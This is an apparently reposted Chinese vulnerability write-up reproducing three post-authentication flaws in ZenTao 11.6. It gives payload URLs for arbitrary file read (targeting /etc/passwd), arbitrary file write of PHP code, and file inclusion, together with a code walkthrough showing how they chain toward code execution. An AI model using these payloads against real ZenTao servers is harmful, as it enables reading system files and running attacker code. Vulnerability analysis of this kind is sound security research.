禅道11.6 后台多个漏洞复现分析


禅道11.6 后台多个漏洞复现分析

来自专辑:禅道11.6后台漏洞复现分析
原文链接:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652478163&idx=1&sn=556973c8feab569d514d94d665cdab33&chksm=f2583960c52fb0762772faf71100252ec1d0842d507837e9b0a8ae3271c5eeddec514acf98d3&mpshare=1&scene=23&srcid=0723aZkVgoR09TQjHdVEpg60&sharer_sharetime=1595498372413&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
 

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

根据前一篇关于的分析文章,我们可以知道数据流向以及传参结构。

 

No.1任意文件读取

http://***.*.*.*/zentaopms11.6/www/api-getModel-file-parseCSV-fileName=/etc/passwd

 

通过这个payload结合我们上一篇文章我们可以快速的知道
这是使用一个api模块,调用getModel方法,然后传了三个参数为file、parseCSV、fileName。并且加载file模块中的parseCSV的方法,传参fileName
相当于是方法调用方法。
接下来我们找到api模块的getModel方法,文件为/module/api/control.php

 

 


etModel方法传入三个参数,为模块名、方法名字、还有参数,分别payload中的对应file、parseCSV、fileName(原因在上一篇有提到)
通过第50行代码,以file为模块名、parseCSV为方法名去调用,文件名为/module/file/model.php

 

 

 

这里需要注意一个点就是如果读取的文件是.txt、.php这种带后缀的,会被/framework/base/router.class.php中的parsePathInfo方法过滤掉

 

 


可以成功读取文件,对文件内容进行了处理过滤部分参数。

 

 


No.2任意文件写入

http://***.*.*.*/zentaopms11.6/www//api-getModel-editor-save-filePath=/tmp/1234
POST:fileContent=<?php phpinfo();?>

同理,用api模块的getModel方法去调用editor模块的save方法,并传入filePath参数

 

 


通过第50行代码,调用editor模块的save方法并传入filePath参数,文件名为:/module/editor/model.php
第368行代码提示有一个fileContent以post形式进行传参
发现下述并未做有效过滤可以写入任意代码

 

 


然后构造参数进行传参

 

 

发现成功写入

 

 


No.3文件包含

http://***.***.**.***/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/1/1

上述payload,用api模块的getModel方法去调用api模块的getMethod方法,并传入filePath参数,文件名为:/module/api/model.php

 

 

在第18行,进入到了另外一个方法中

if(!class_exists($className)) helper::import($fileName);

进入到/framework/base/helper.class.php中的import方法中,在第195行被include包含执行代码。
realpath函数是显示出该目录的绝对路径

 

例子:

<?php
echo realpath('/tmp/test');
?>

输出结果:

/private/tmp/test

 

这里有一个点,按照上一步我们写入的/tmp/test 文件来看。我们这里包含/tmp/test就可以了。
但是实际上是报错的

 

 

读代码发现上述代码中

$fileName  = dirname($filePath);

dirname函数返回的是目录名称部分(不含文件名,默认最末级为文件名)

例子:

<?php
echo dirname("c:/testweb/home.php") . "\n";
echo dirname("/testweb/home.php") . "\n";
echo dirname("C:/test/home.php/"). "\n";
echo dirname("C:/tttt/home.php/1234") . "\n";
?>

  

输出的结果对应为:

c:/testweb
/testweb
C:/test
C:/tttt/home.php

  

发现会把最后一级的内容删除掉。所以我们在包含的时候需要在后面加一级

http://***.***.**.***/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/test/1234

最终执行结果为

 

 


参考链接
https://wiki.0-sec.org/img/20200419/a0b1b1342fb144c6b65244138b32a44f.png
https://wiki.0-sec.org/img/20200419/8a59bdb34b6d4227b4572623cbf9c857.png

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM